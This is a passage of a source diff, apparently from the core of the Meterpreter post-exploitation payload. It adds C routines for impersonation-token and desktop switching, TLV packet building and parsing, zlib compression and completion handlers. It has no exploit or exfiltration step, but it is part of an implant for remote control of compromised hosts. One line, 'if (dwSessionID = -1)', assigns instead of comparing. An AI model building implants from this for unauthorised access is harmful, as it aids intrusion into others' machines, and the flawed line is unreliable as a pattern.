*/ +PacketCompletionRoutineEntry *packetCompletionRoutineList = NULL; + +/*! + * @todo I have no idea why this is here, need someone else to explain. + */ +HANDLE core_update_thread_token(Remote *remote, HANDLE token) +{ + HANDLE temp = NULL; + + lock_acquire(remote->lock); + do + { + temp = remote->thread_token; + + // A NULL token resets the state back to the server token + if (!token) + { + token = remote->server_token; + } + + // Assign the thread token + remote->thread_token = token; + + // Close the old token if its not one of the two active tokens + if (temp && temp != remote->server_token && temp != remote->thread_token) + { + CloseHandle(temp); + } + } while (0); + + lock_release(remote->lock); + return(token); +} + +/*! + * @brief Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations. + * @details We dont store the handles as it is more convienient to use strings, especially as we cant use the regular API + * to break out of sessions. + * @remark It is up to the caller to free any station/desktop name provided as internally we use \c strdup. + * @param remote Pointer to the remote connection. + * @param dwSessionID ID of the session which contains the window station in \c cpStationName. + * @param cpStationName Name of the window station that contains the desktop in \c cpDesktopName. + * @param cpDesktopName Name of the desktop to switch to. + */ +VOID core_update_desktop(Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName) +{ + DWORD temp_session = -1; + char * temp_station = NULL; + char * temp_desktop = NULL; + + lock_acquire(remote->lock); + + do + { + temp_session = remote->curr_sess_id; + + // A session id of -1 resets the state back to the servers real session id + if (dwSessionID = -1) + { + dwSessionID = remote->orig_sess_id; + } + + // Assign the new session id + remote->curr_sess_id = dwSessionID; + + temp_station = remote->curr_station_name; + + // A NULL station resets the station back to the origional process window station + if (!cpStationName) + { + cpStationName = remote->orig_station_name; + } + + // Assign the current window station name to use + remote->curr_station_name = _strdup(cpStationName); + + // free the memory for the old station name if its not one of the two active names + if (temp_station && temp_station != remote->orig_station_name && temp_station != remote->curr_station_name) + { + free(temp_station); + } + + temp_desktop = remote->curr_desktop_name; + + // A NULL station resets the desktop back to the origional process desktop + if (!cpDesktopName) + { + cpDesktopName = remote->orig_desktop_name; + } + + // Assign the current window desktop name to use + remote->curr_desktop_name = _strdup(cpDesktopName); + + // free the memory for the old desktop name if its not one of the two active names + if (temp_desktop && temp_desktop != remote->orig_desktop_name && temp_desktop != remote->curr_desktop_name) + { + free(temp_desktop); + } + + } while (0); + + lock_release(remote->lock); +} + +/*! + * @brief Create a packet of a given type (request/response) and method. + * @param type The TLV type that this packet represents. + * @param method TLV method type (can be \c NULL). + * @return Pointer to the newly created \c Packet. + */ +Packet *packet_create(PacketTlvType type, LPCSTR method) +{ + Packet *packet = NULL; + BOOL success = FALSE; + + do + { + if (!(packet = (Packet *)malloc(sizeof(Packet)))) + { + break; + } + + memset(packet, 0, sizeof(Packet)); + + // Initialize the header length and message type + packet->header.length = htonl(sizeof(TlvHeader)); + packet->header.type = htonl((DWORD)type); + + // Initialize the payload to be blank + packet->payload = NULL; + packet->payloadLength = 0; + + // Add the method TLV if provided + if (method && packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS) + { + break; + } + + success = TRUE; + + } while (0); + + // Clean up the packet on failure + if (!success && packet) + { + packet_destroy(packet); + + packet = NULL; + } + + return packet; +} + +/*! + * @brief Create a packet that is used to contain a subgroup. + * @returns An instance of a packet to use as a group container. + * @remarks Group packets can be used to arbitrarily nest groupings prior to + * sending the packet to the client. + */ +Packet* packet_create_group() +{ + Packet* packet = NULL; + do + { + if (!(packet = (Packet*)malloc(sizeof(Packet)))) + { + break; + } + + memset(packet, 0, sizeof(Packet)); + + // we don't need to worry about the TLV header at this point + // so we'll ignore it + + // Initialize the payload to be blank + packet->payload = NULL; + packet->payloadLength = 0; + + return packet; + } while (0); + + SAFE_FREE(packet); + + return NULL; +} + +/*! + * @brief Add a group packet to the parent packet. + * @param packet Pointer to the container packet that the group is to be added to. + * @param type The type of group packet being added. + * @param groupPacket the packet containing the group data (created by `packet_create_group`). + * @returns Indication of success or failure. + * @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds. + */ +DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket) +{ + DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength); + if (result == ERROR_SUCCESS) + { + packet_destroy(groupPacket); + return ERROR_SUCCESS; + } + + return result; +} + +/*! + * @brief Create a response packet from a request. + * @details Create a response packet from a request, referencing the requestors + * message identifier. + * @param request The request \c Packet to build a response for. + * @return Pointer to a new \c Packet. + */ +Packet *packet_create_response(Packet *request) +{ + Packet *response = NULL; + Tlv method, requestId; + BOOL success = FALSE; + PacketTlvType responseType; + + if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST) + { + responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE; + } + else + { + responseType = PACKET_TLV_TYPE_RESPONSE; + } + + do + { + // Get the request TLV's method + if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS) + { + vdprintf("[PKT] Can't find method"); + break; + } + + // Try to allocate a response packet + if (!(response = packet_create(responseType, (PCHAR)method.buffer))) + { + vdprintf("[PKT] Can't create response"); + break; + } + + // Get the request TLV's request identifier + if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) + { + vdprintf("[PKT] Can't find request ID"); + break; + } + + // Add the request identifier to the packet + packet_add_tlv_string(response, TLV_TYPE_REQUEST_ID, (PCHAR)requestId.buffer); + + // If the packet that is being handled is considered local, then we + // associate the response with the request so that it can be handled + // locally (and vice versa) + if (request->local) + { + request->partner = response; + response->partner = request; + } + + success = TRUE; + + } while (0); + + // Cleanup on failure + if (!success) + { + if (response) + { + packet_destroy(response); + } + + response = NULL; + } + + return response; +} + +/*! + * @brief Destroy the packet context and the payload buffer. + * @param packet Pointer to the \c Packet to destroy. + */ +VOID packet_destroy(Packet * packet) +{ + if (packet == NULL) + { + return; + } + + if (packet->payload) + { + memset(packet->payload, 0, packet->payloadLength); + free(packet->payload); + } + + if (packet->decompressed_buffers) + { + while (TRUE) + { + DECOMPRESSED_BUFFER * buf = list_pop(packet->decompressed_buffers); + if (!buf) + { + break; + } + + if (buf->buffer) + { + memset(buf->buffer, 0, buf->length); + free(buf->buffer); + } + + free(buf); + } + + list_destroy(packet->decompressed_buffers); + } + + memset(packet, 0, sizeof(Packet)); + + free(packet); +} + +/*! + * @brief Add a string value TLV to a packet, including the \c NULL terminator. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param str Pointer to the string value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str ) +{ + return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1); +} + +/*! + * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param str Pointer to the wide-string value to add to the packet. + * @param strLength of the string (not including the NULL terminator). + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength) +{ + DWORD dwResult; + LPSTR lpStr = (LPSTR)malloc(strLength + 1); + + if (lpStr) + { + wcstombs(lpStr, str, strLength); + lpStr[strLength] = 0; + dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)strLength + 1); + free(lpStr); + } + else + { + dwResult = ERROR_NOT_ENOUGH_MEMORY; + } + + return dwResult; +} + +/*! + * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param str Pointer to the wide-string value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_wstring(Packet *packet, TlvType type, LPCWSTR str) +{ + return packet_add_tlv_wstring_len(packet, type, str, wcslen(str)); +} + +/*! + * @brief Add a unsigned integer value TLV to a packet. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param val The value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val) +{ + val = htonl(val); + + return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val)); +} + +/*! + * @brief Add a quad-work value TLV to a packet. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param val The value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val) +{ + val = htonq(val); + + return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(QWORD)); +} + +/*! + * @brief Add a boolean value TLV to a packet. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param val The value to add to the packet. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val) +{ + return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1); +} + +/*! + * @brief Add a group TLV to a packet. + * @details A TLV group is a TLV that contains multiple sub-TLVs. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param entries Pointer to the array of TLV entries to add. + * @param numEntries Count of the number of TLV entries in the \c entries array. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries) +{ + DWORD totalSize = 0, + offset = 0, + index = 0, + res = ERROR_SUCCESS; + PCHAR buffer = NULL; + + // Calculate the total TLV size. + for (index = 0; index < numEntries; index++) + { + totalSize += entries[index].header.length + sizeof(TlvHeader); + } + + do + { + // Allocate storage for the complete buffer + if (!(buffer = (PCHAR)malloc(totalSize))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Copy the memory into the new buffer + for (index = 0; index < numEntries; index++) + { + TlvHeader rawHeader; + + // Convert byte order for storage + rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader)); + rawHeader.type = htonl((DWORD)entries[index].header.type); + + // Copy the TLV header & payload + memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader)); + memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer, entries[index].header.length); + + // Update the offset into the buffer + offset += entries[index].header.length + sizeof(TlvHeader); + } + + // Now add the TLV group with its contents populated + res = packet_add_tlv_raw(packet, type, buffer, totalSize); + + } while (0); + + // Free the temporary buffer + SAFE_FREE(buffer); + + return res; +} + +/*! + * @brief Add an array of TLVs to a packet. + * @param packet Pointer to the packet to add the values to. + * @param entries Pointer to the array of TLV entries to add. + * @param numEntries Count of the number of TLV entries in the \c entries array. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries) +{ + DWORD index; + + for (index = 0; index < numEntries; index++) + { + packet_add_tlv_raw(packet, (TlvType)entries[index].header.type, entries[index].buffer, entries[index].header.length); + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Add a raw value TLV to a packet, with compression. + * @details The value given in the \c buf parameter will be compressed with zlib. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param buf Pointer to the data that is to be compressed and added. + * @param length Number of bytes in \c buf to compress. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_raw_compressed(Packet *packet, TlvType type, LPVOID buf, DWORD length) +{ + DWORD result = ERROR_SUCCESS; + DWORD headerLength = sizeof(TlvHeader); + PUCHAR newPayload = NULL; + BYTE * compressed_buf = NULL; + DWORD realLength = 0; + DWORD newPayloadLength = 0; + DWORD compressed_length = (DWORD)(1.01 * (length + 12) + 1); + + do + { + compressed_buf = (BYTE *)malloc(compressed_length); + if (!compressed_buf) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + if (compress2(compressed_buf, &compressed_length, buf, length, Z_BEST_COMPRESSION) != Z_OK) + { + result = ERROR_UNSUPPORTED_COMPRESSION; + break; + } + + realLength = compressed_length + headerLength; + newPayloadLength = packet->payloadLength + realLength; + + // Allocate/Reallocate the packet's payload + if (packet->payload) + { + newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); + } + else + { + newPayload = (PUCHAR)malloc(newPayloadLength); + } + + if (!newPayload) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Populate the new TLV + ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); + ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); + + memcpy(newPayload + packet->payloadLength + headerLength, compressed_buf, compressed_length); + + // Update the header length and payload length + packet->header.length = htonl(ntohl(packet->header.length) + realLength); + packet->payload = newPayload; + packet->payloadLength = newPayloadLength; + + result = ERROR_SUCCESS; + + } while (0); + + SAFE_FREE(compressed_buf); + + return result; +} + +/*! + * @brief Add an arbitrary raw value TLV to a packet. + * @details The value given in the \c buf parameter will _not_ be compressed. + * @param packet Pointer to the packet to add the value to. + * @param type TLV type for the value. + * @param buf Pointer to the data that is to be added. + * @param length Number of bytes in \c buf to add. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. + */ +DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length) +{ + DWORD headerLength = sizeof(TlvHeader); + DWORD realLength = length + headerLength; + DWORD newPayloadLength = packet->payloadLength + realLength; + PUCHAR newPayload = NULL; + + // check if this TLV is to be compressed... + if ((type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) + { + return packet_add_tlv_raw_compressed(packet, type, buf, length); + } + + // Allocate/Reallocate the packet's payload + if (packet->payload) + { + newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength); + } + else + { + newPayload = (PUCHAR)malloc(newPayloadLength); + } + + if (!newPayload) + { + return ERROR_NOT_ENOUGH_MEMORY; + } + + // Populate the new TLV + ((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength); + ((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type); + + memcpy(newPayload + packet->payloadLength + headerLength, buf, length); + + // Update the header length and payload length + packet->header.length = htonl(ntohl(packet->header.length) + realLength); + packet->payload = newPayload; + packet->payloadLength = newPayloadLength; + + return ERROR_SUCCESS; +} + +/*! + * @brief Check if a TLV is NULL-terminated. + * @details The function checks the data within the range of bytes specified by + * the \c length property of the TLV \c header. + * @param tlv Pointer to the TLV to check. + * @return Indication of whether the TLV is terminated with a \c NULL byte or not. + * @retval ERROR_SUCCESS A \c NULL byte is present. + * @retval ERROR_NOT_FOUND No \c NULL byte is present. + * @sa TlvHeader + */ +DWORD packet_is_tlv_null_terminated( Tlv *tlv ) +{ + if ((tlv->header.length) && (tlv->buffer[tlv->header.length - 1] != 0)) + { + return ERROR_NOT_FOUND; + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Get the TLV type of the packet. + * @param packet Pointer to the packet to get the type from. + * @return \c PacketTlvType for the given \c Packet. + */ +PacketTlvType packet_get_type( Packet *packet ) +{ + return (PacketTlvType)ntohl( packet->header.type ); +} + +/*! + * @brief Get the TLV meta-type of the packet. + * @param packet Pointer to the packet to get the meta-type from. + * @return \c TlvMetaType for the given \c Packet. + */ +TlvMetaType packet_get_tlv_meta( Packet *packet, Tlv *tlv ) +{ + return TLV_META_TYPE_MASK( tlv->header.type ); +} + +/*! + * @brief Get a TLV of a given type from the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv) +{ + return packet_enum_tlv(packet, 0, type, tlv); +} + +/*! + * @brief Get a string TLV from the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV or the string + * value is not NULL-terminated. + */ +DWORD packet_get_tlv_string( Packet *packet, TlvType type, Tlv *tlv ) +{ + DWORD res; + + if ((res = packet_get_tlv(packet, type, tlv)) == ERROR_SUCCESS) + { + res = packet_is_tlv_null_terminated(tlv); + } + + return res; +} + +/*! + * @brief Get a TLV of a given type from a group TLV in the packet. + * @param packet Pointer to the packet to get the TLV from. + * @param group Pointer to the group TLV to get the value from. + * @param type Type of TLV to get. + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv *entry) +{ + return packet_find_tlv_buf(packet, group->buffer, group->header.length, 0, type, entry); +} + +/*! + * @brief Enumerate a TLV (with the option of constraining its type). + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv) +{ + return packet_find_tlv_buf(packet, packet->payload, packet->payloadLength, index, type, tlv); +} + +/*! + * @brief Get the string value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return Pointer to the string value, if found. + * @retval NULL The string value was not found in the TLV. + * @retval Non-NULL Pointer to the string value. + */ +PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type ) +{ + Tlv stringTlv; + PCHAR string = NULL; + + if (packet_get_tlv_string(packet, type, &stringTlv) == ERROR_SUCCESS) + { + string = (PCHAR)stringTlv.buffer; + } + + return string; +} + +/*! + * @brief Get the string value of a TLV as a wchar_t string. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return Pointer to the string value, if found. + * @retval NULL The string value was not found in the TLV. + * @retval Non-NULL Pointer to the string value (must be released with free()). + * @remark This function allocates a new string and therefore must be released + * using free(). + */ +wchar_t* packet_get_tlv_value_wstring(Packet* packet, TlvType type) +{ + size_t size; + wchar_t* result = NULL; + PCHAR string = packet_get_tlv_value_string(packet, type); + + if (string) + { + size = mbstowcs(NULL, string, 0) + 1; + result = (wchar_t*)calloc(size, sizeof(wchar_t)); + if (result) + { + mbstowcs(result, string, size); + } + } + return result; +} + +/*! + * @brief Get the unsigned int value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + * @todo On failure, 0 is returned. We need to make sure this is the right + * thing to do because 0 might also be a valid value. + */ +UINT packet_get_tlv_value_uint(Packet *packet, TlvType type) +{ + Tlv uintTlv; + + if ((packet_get_tlv(packet, type, &uintTlv) != ERROR_SUCCESS) || (uintTlv.header.length < sizeof(DWORD))) + { + return 0; + } + + return ntohl(*(LPDWORD)uintTlv.buffer); +} + +/*! + * @brief Get the raw value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + */ +BYTE * packet_get_tlv_value_raw(Packet * packet, TlvType type) +{ + Tlv tlv; + + if (packet_get_tlv(packet, type, &tlv) != ERROR_SUCCESS) + { + return NULL; + } + + return tlv.buffer; +} + +/*! + * @brief Get the quad-word value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + * @todo On failure, 0 is returned. We need to make sure this is the right + * thing to do because 0 might also be a valid value. + */ +QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type) +{ + Tlv qwordTlv; + + if ((packet_get_tlv(packet, type, &qwordTlv) != ERROR_SUCCESS) || (qwordTlv.header.length < sizeof(QWORD))) + { + return 0; + } + + return ntohq(*(QWORD *)qwordTlv.buffer); +} + +/*! + * @brief Get the boolean value of a TLV. + * @param packet Pointer to the packet to get the TLV from. + * @param type Type of TLV to get (optional). + * @return The value found in the TLV. + * @todo On failure, FALSE is returned. We need to make sure this is the right + * thing to do because FALSE might also be a valid value. + */ +BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type) +{ + Tlv boolTlv; + BOOL val = FALSE; + + if (packet_get_tlv(packet, type, &boolTlv) == ERROR_SUCCESS) + { + val = (BOOL)(*(PCHAR)boolTlv.buffer); + } + + return val; +} + +/*! + * @brief Add an exception to a packet. + * @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING + * are added to the packet. + * @param packet Pointer to the packet to add the detail to. + * @param code Exception code. + * @param fmt Form string for the exception string. + * @param ... Varargs for the format string. + * @return Indication of success or failure. + * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet. + * @retval ERROR_SUCCESS Transmission was successful. + */ +DWORD packet_add_exception(Packet *packet, DWORD code, PCHAR fmt, ...) +{ + DWORD codeNbo = htonl(code); + char buf[8192]; + Tlv entries[2]; + va_list ap; + + // Ensure null termination + buf[sizeof(buf)-1] = 0; + + va_start(ap, fmt); + _vsnprintf(buf, sizeof(buf)-1, fmt, ap); + va_end(ap); + + // Populate the TLV group array + entries[0].header.type = TLV_TYPE_EXCEPTION_CODE; + entries[0].header.length = 4; + entries[0].buffer = (PUCHAR)&codeNbo; + entries[1].header.type = TLV_TYPE_EXCEPTION_STRING; + entries[1].header.length = (DWORD)strlen(buf) + 1; + entries[1].buffer = (PUCHAR)buf; + + // Add the TLV group, or try to at least. + return packet_add_tlv_group(packet, TLV_TYPE_EXCEPTION, entries, 2); +} + +/*! + * @brief Enumerate TLV entries until hitting a given index or type. + * @details This function will iterate through the given payload until one of the following conditions is true: + * - The end of the payload is encountered + * - The specified index is reached + * - A TLV of the specified type is reached + * + * If the first condition is met, the function returns with a failure. + * @param packet Pointer to the packet to get the TLV from. + * @param payload Pointer to the payload to parse. + * @param index Index of the TLV entry to find (optional). + * @param type Type of TLV to get (optional). + * @param tlv Pointer to the TLV that will receive the data. + * @return Indication of success or failure. + * @retval ERROR_SUCCESS The operation completed successfully. + * @retval ERROR_NOT_FOUND Unable to find the TLV. + */ +DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index, TlvType type, Tlv *tlv) +{ + DWORD currentIndex = 0; + DWORD offset = 0, length = 0; + BOOL found = FALSE; + PUCHAR current; + + vdprintf("[PKT FIND] Looking for type %u", type); + + memset(tlv, 0, sizeof(Tlv)); + + do + { + // Enumerate the TLV's + for (current = payload, length = 0; !found && current; offset += length, current += length) + { + TlvHeader *header = (TlvHeader *)current; + TlvType current_type = TLV_TYPE_ANY; // effectively '0' + + if ((current + sizeof(TlvHeader) > payload + payloadLength) || (current < payload)) + { + vdprintf("[PKT FIND] Reached end of packet buffer"); + break; + } + + // TLV's length + length = ntohl(header->length); + vdprintf("[PKT FIND] TLV header length: %u", length); + + // Matching type? + current_type = (TlvType)ntohl(header->type); + vdprintf("[PKT FIND] TLV header type: %u", current_type); + + // if the type has been compressed, temporarily remove the compression flag as compression is to be transparent. + if ((current_type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) + { + current_type = (TlvType)(current_type ^ TLV_META_TYPE_COMPRESSED); + } + + // check if the types match? + if ((current_type != type) && (type != TLV_TYPE_ANY)) + { + vdprintf("[PKT FIND] Types don't match, skipping."); + continue; + } + + // Matching index? + if (currentIndex != index) + { + vdprintf("[PKT FIND] wrong index, skipping."); + currentIndex++; + continue; + } + + if ((current + length > payload + payloadLength) || (current < payload)) + { + vdprintf("[PKT FIND] if ((current + length > payload + payloadLength) || (current < payload))"); + vdprintf("[PKT FIND] Current: %p", current); + vdprintf("[PKT FIND] length: %x", length); + vdprintf("[PKT FIND] Current + length: %p", current + length); + vdprintf("[PKT FIND] payload: %p", payload); + vdprintf("[PKT FIND] payloadLength: %x", payloadLength); + vdprintf("[PKT FIND] payload + payloadLength: %p", payload + payloadLength); + vdprintf("[PKT FIND] diff: %x", current + length - (payload + payloadLength)); + break; + } + + tlv->header.type = ntohl(header->type); + tlv->header.length = ntohl(header->length) - sizeof(TlvHeader); + tlv->buffer = payload + offset + sizeof(TlvHeader); + vdprintf("[PKT FIND] Found!"); + + if ((tlv->header.type & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) + { + DECOMPRESSED_BUFFER * decompressed_buf = NULL; + + do + { + decompressed_buf = (DECOMPRESSED_BUFFER *)malloc(sizeof(DECOMPRESSED_BUFFER)); + if (!decompressed_buf) + { + break; + } + + // the first DWORD in a compressed buffer is the decompressed buffer length. + decompressed_buf->length = ntohl(*(DWORD *)tlv->buffer); + if (!decompressed_buf->length) + { + break; + } + + decompressed_buf->buffer = (BYTE *)malloc(decompressed_buf->length); + if (!decompressed_buf->buffer) + { + break; + } + + tlv->header.length -= sizeof(DWORD); + tlv->buffer += sizeof(DWORD); + + if (uncompress((Bytef*)decompressed_buf->buffer, &decompressed_buf->length, tlv->buffer, tlv->header.length) != Z_OK) + { + break; + } + + tlv->header.type = tlv->header.type ^ TLV_META_TYPE_COMPRESSED; + tlv->header.length = decompressed_buf->length; + tlv->buffer = (PUCHAR)decompressed_buf->buffer; + + if (!packet->decompressed_buffers) + { + packet->decompressed_buffers = list_create(); + } + + if (!packet->decompressed_buffers) + { + break; + } + + // each packet has a list of decompressed buffers which is used to + // wipe and fee all decompressed buffers upon the packet being destroyed. + list_push(packet->decompressed_buffers, decompressed_buf); + + found = TRUE; + + } while (0); + + if (!found && decompressed_buf) + { + SAFE_FREE(decompressed_buf->buffer); + SAFE_FREE(decompressed_buf); + } + } + else + { + found = TRUE; + } + } + + } while (0); + + return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND; +} + +/*! + * @brief Add a completion routine for a given request identifier. + * @return Indication of success or failure. + * @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the \c PacketCompletionRouteEntry instance. + * @retval ERROR_SUCCESS Addition was successful. + */ +DWORD packet_add_completion_handler(LPCSTR requestId, PacketRequestCompletion *completion) +{ + PacketCompletionRoutineEntry *entry; + DWORD res = ERROR_SUCCESS; + + do + { + // Allocate the entry + if (!(entry = (PacketCompletionRoutineEntry *)malloc(sizeof(PacketCompletionRoutineEntry)))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Copy the completion routine information + memcpy(&entry->handler, completion, sizeof(PacketRequestCompletion)); + + // Copy the request identifier + if (!(entry->requestId = _strdup(requestId))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + + free(entry); + + break; + } + + // Add the entry to the list + entry->next = packetCompletionRoutineList; + packetCompletionRoutineList = entry; + + } while (0); + + return res; +} + +/*! + * @brief Call the register completion handler(s) for the given request identifier. + * @details Only those handlers that match the given request are executed. + * @param remote Pointer to the \c Remote instance for this call. + * @param response Pointer to the response \c Packet. + * @param requestId ID of the request to execute the completion handlers of. + * @return Indication of success or failure. + * @retval ERROR_NOT_FOUND Unable to find any matching completion handlers for the request. + * @retval ERROR_SUCCESS Execution was successful. + */ +DWORD packet_call_completion_handlers( Remote *remote, Packet *response, LPCSTR requestId ) +{ + PacketCompletionRoutineEntry *current; + DWORD result = packet_get_tlv_value_uint(response, TLV_TYPE_RESULT); + DWORD matches = 0; + Tlv methodTlv; + LPCSTR method = NULL; + + // Get the method associated with this packet + if (packet_get_tlv_string(response, TLV_TYPE_METHOD, &methodTlv) == ERROR_SUCCESS) + { + method = (LPCSTR)methodTlv.buffer; + } + + // Enumerate the completion routine list + for (current = packetCompletionRoutineList; current; current = current->next) + { + // Does the request id of the completion entry match the packet's request + // id? + if (strcmp(requestId, current->requestId)) + { + continue; + } + + // Call the completion routine + current->handler.routine(remote, response, current->handler.context, method, result); + + // Increment the number of matched handlers + matches++; + } + + if (matches) + { + packet_remove_completion_handler(requestId); + } + + return (matches > 0) ? ERROR_SUCCESS : ERROR_NOT_FOUND; +} + +/*! + * @brief Remove a set of completion routine handlers for a given request identifier. + * @param requestId ID of the request. + * @return \c ERROR_SUCCESS is always returned. + */ +DWORD packet_remove_completion_handler(LPCSTR requestId) +{ + PacketCompletionRoutineEntry *current, *next, *prev; + + // Enumerate the list, removing entries that match + for (current = packetCompletionRoutineList, next = NULL, prev = NULL; + current; + prev = current, current = next) + { + next = current->next; + + if (strcmp(requestId, current->requestId)) + { + continue; + } + + // Remove the entry from the list + if (prev) + { + prev->next = next; + } + else + { + packetCompletionRoutineList = next; + } + + // Deallocate it + free((PCHAR)current->requestId); + free(current); + } + + return ERROR_SUCCESS; +} + +/*! + * @brief Transmit a response with just a result code to the remote endpoint. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the \c Packet that is to be sent. + * @param res Result code to return. + * @return An indication of the result of processing the transmission request. + */ +DWORD 